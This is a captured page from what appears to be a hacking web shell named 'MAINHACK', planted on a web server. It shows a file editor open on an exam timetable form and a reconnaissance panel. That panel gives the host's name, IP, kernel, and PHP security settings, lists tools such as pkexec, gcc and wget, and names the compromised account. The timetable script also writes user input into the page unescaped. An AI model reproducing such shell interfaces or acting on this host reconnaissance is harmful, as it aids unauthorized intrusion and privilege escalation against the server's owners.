[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: text.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Exam Timetable Form</title> <style> body { font-family: Arial, sans-serif; background-color: #f4f4f9; margin: 0; padding: 20px; display: flex; flex-direction: column; align-items: center; } h1 { color: #333; text-align: center; } /* Form Styling */ .timetable-form { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); width: 100%; max-width: 500px; margin-bottom: 20px; } .form-group { margin-bottom: 15px; } label { display: block; font-weight: bold; margin-bottom: 5px; color: #555; } input, select, textarea { width: 100%; padding: 10px; border: 1px solid #ddd; border-radius: 4px; font-size: 16px; } button { background-color: #007bff; color: #fff; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; font-size: 16px; width: 100%; } button:hover { background-color: #0056b3; } /* Table Styling */ .timetable-display { width: 100%; max-width: 800px; margin-top: 20px; } table { width: 100%; border-collapse: collapse; background-color: #fff; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } th, td { padding: 12px; text-align: left; border-bottom: 1px solid #ddd; } th { background-color: #007bff; color: #fff; } tr:nth-child(even) { background-color: #f9f9f9; } tr:hover { background-color: #f1f1f1; } /* Responsive Design */ @media (max-width: 600px) { .timetable-form, .timetable-display { width: 90%; } th, td { font-size: 14px; padding: 8px; } } </style> </head> <body> <h1>Exam Timetable Creator</h1> <!-- Form to input timetable details --> <div class="timetable-form"> <form id="timetableForm" onsubmit="addToTimetable(event)"> <div class="form-group"> <label for="date">Date</label> <input type="date" id="date" required> </div> <div class="form-group"> <label for="slot">Time Slot</label> <select id="slot" required> <option value="Morning (9:00 AM–11:00 AM)">Morning (9:00 AM–11:00 AM)</option> <option value="Afternoon (11:30 AM–1:30 PM)">Afternoon (11:30 AM–1:30 PM)</option> </select> </div> <div class="form-group"> <label for="subject">Subject</label> <input type="text" id="subject" placeholder="e.g., Mathematics" required> </div> <div class="form-group"> <label for="notes">Notes (Optional)</label> <textarea id="notes" placeholder="e.g., Alternate group or room details"></textarea> </div> <button type="submit">Add to Timetable</button> </form> </div> <!-- Timetable Display --> <div class="timetable-display"> <h2>Exam Timetable</h2> <table id="timetable"> <thead> <tr> <th>Date</th> <th>Time Slot</th> <th>Subject</th> <th>Notes</th> </tr> </thead> <tbody id="timetableBody"> <!-- Sample data from previous timetable --> <tr> <td>2025-06-23</td> <td>Morning (9:00 AM–11:00 AM)</td> <td>Mathematics</td> <td>-</td> </tr> <tr> <td>2025-06-23</td> <td>Afternoon (11:30 AM–1:30 PM)</td> <td>English</td> <td>-</td> </tr> <tr> <td>2025-06-24</td> <td>Morning (9:00 AM–11:00 AM)</td> <td>Physics</td> <td>-</td> </tr> <tr> <td>2025-06-25</td> <td>Morning (9:00 AM–11:00 AM)</td> <td>Chemistry</td> <td>-</td> </tr> <tr> <td>2025-06-25</td> <td>Afternoon (11:30 AM–1:30 PM)</td> <td>History</td> <td>-</td> </tr> <tr> <td>2025-06-26</td> <td>Afternoon (11:30 AM–1:30 PM)</td> <td>Mathematics</td> <td>Alternate group</td> </tr> <tr> <td>2025-06-27</td> <td>Morning (9:00 AM–11:00 AM)</td> <td>English</td> <td>Alternate group</td> </tr> </tbody> </table> </div> <script> function addToTimetable(event) { event.preventDefault(); // Get form values const date = document.getElementById('date').value; const slot = document.getElementById('slot').value; const subject = document.getElementById('subject').value; const notes = document.getElementById('notes').value || '-'; // Create new table row const tableBody = document.getElementById('timetableBody'); const newRow = document.createElement('tr'); newRow.innerHTML = ` <td>${date}</td> <td>${slot}</td> <td>${subject}</td> <td>${notes}</td> `; // Append row to table tableBody.appendChild(newRow); // Reset form document.getElementById('timetableForm').reset(); } </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002